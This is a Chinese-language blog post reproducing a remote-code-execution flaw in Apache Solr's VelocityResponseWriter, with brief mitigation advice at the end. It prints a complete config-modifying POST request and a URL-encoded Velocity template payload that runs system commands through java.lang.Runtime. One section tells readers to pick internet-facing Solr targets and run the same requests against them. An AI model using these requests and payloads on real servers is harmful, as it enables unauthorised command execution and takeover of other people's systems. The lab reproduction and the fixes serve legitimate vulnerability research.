0x00 前言
今天在群裡看到有人說GitHub上公布了一個關於solr的RCE漏洞,於是立馬復現了一波!確定該poc是真實有效的。
solr簡介
Solr是一個獨立的企業級搜索應用伺服器,它對外提供類似於Web-service的API接口。用戶可以通過http請求,向搜尋引擎伺服器提交一定格式的XML文件,生成索引;也可以通過Http Get操作提出查找請求,並得到XML格式的返回結果。
0x01 漏洞詳情
該漏洞的產生原因:
攻擊者可以直接訪問solr admin頁面,並可以通過構造post請求來修改節點的配置.Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否允許參數資源加載器在Solr請求參數中指定模版,默認設置是false。當params.resource.loader.enabled設置為true,將允許用戶通過設置請求中的參數來指定相關資源的加載,這也就意味著攻擊者可以通過構造一個惡意的請求,在伺服器上進行命令執行,從而獲取伺服器的權限。
0x02 影響範圍
應該是影響solr5(暫不確定)到最新版本.
0x03 環境搭建
環境情況
solr版本:solr8.2.0
作業系統 windows
搭建步驟
下載漏洞範圍影響範圍內的solr,我這裡使用最新版的8.2.0 (solr啟動需要java環境的支持,所以要提前安裝好java)解壓下載的solr,然後進入到solr的bin目錄下,執行以下命令啟動solr:solr start -p 8983
可以看到顯示已經啟動
瀏覽器訪問驗證下
創建一個core,可以在網頁創建,也可以在命令行下創建.這裡演示在命令行創建
可以看到成功創建.
網頁創建core可參考:留言或私信獲取連結
訪問驗證我們的core是否創建成功:
可以看到已經成功創建!
0x04 漏洞復現
本地復現
訪問solr站點:
獲取到其core名為test.
2.訪問該core的config路徑,查看其配置,並搜索params.resource.loader.enabled參數:
可以看到其默認是關閉的.
3.我們可以通過構造POST數據包來開啟params.resource.loader.enabled
POST數據包:
POST /solr/test/config HTTP/1.1Host: 172.26.1.173:8983User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Content-Type: application/jsonAccept-Encoding: gzip, deflateConnection: closeContent-Length: 259{"update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" }}
示例:
可以看到響應包.說會在未來改變(也就是我們修改的配置一會會生效)
我們重新訪問:
可以看到我們構造的請求已經成功開啟了params.resource.loader.enabled
利用GitHub上的payload進行命令執行:select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
我們靶機為windows所以修改id為windows下的命令:
網際網路站點
找一個目標:
獲取該solr的節點名:
2.進入到該節點的config:
3.ctrl + f 搜索params.resource.loader.enabled 若該參數對應的值為true 即存在該漏洞!
若對應的值為false,則可以通過發送post包來將其修改為true!
POST數據包:
POST /solr/獲取到的節點名/config HTTP/1.1Host: solr:8983Content-Type: application/jsonContent-Length: 259{"update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" }}
該參數為true後,直接使用GitHub上的poc:
select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
4.直接get請求:
0x04 漏洞修復
1、官方還暫未發布該漏洞的相關補丁,建議用戶設置solr後臺為登陸認證!!!
限制網際網路用戶對solr admin的訪問!
2、刪除params.resource.loader.enabled的配置。
3、時刻關注solr官方,出現新版本要趕快更新
0x05 參考連結:
留言或私信獲取連結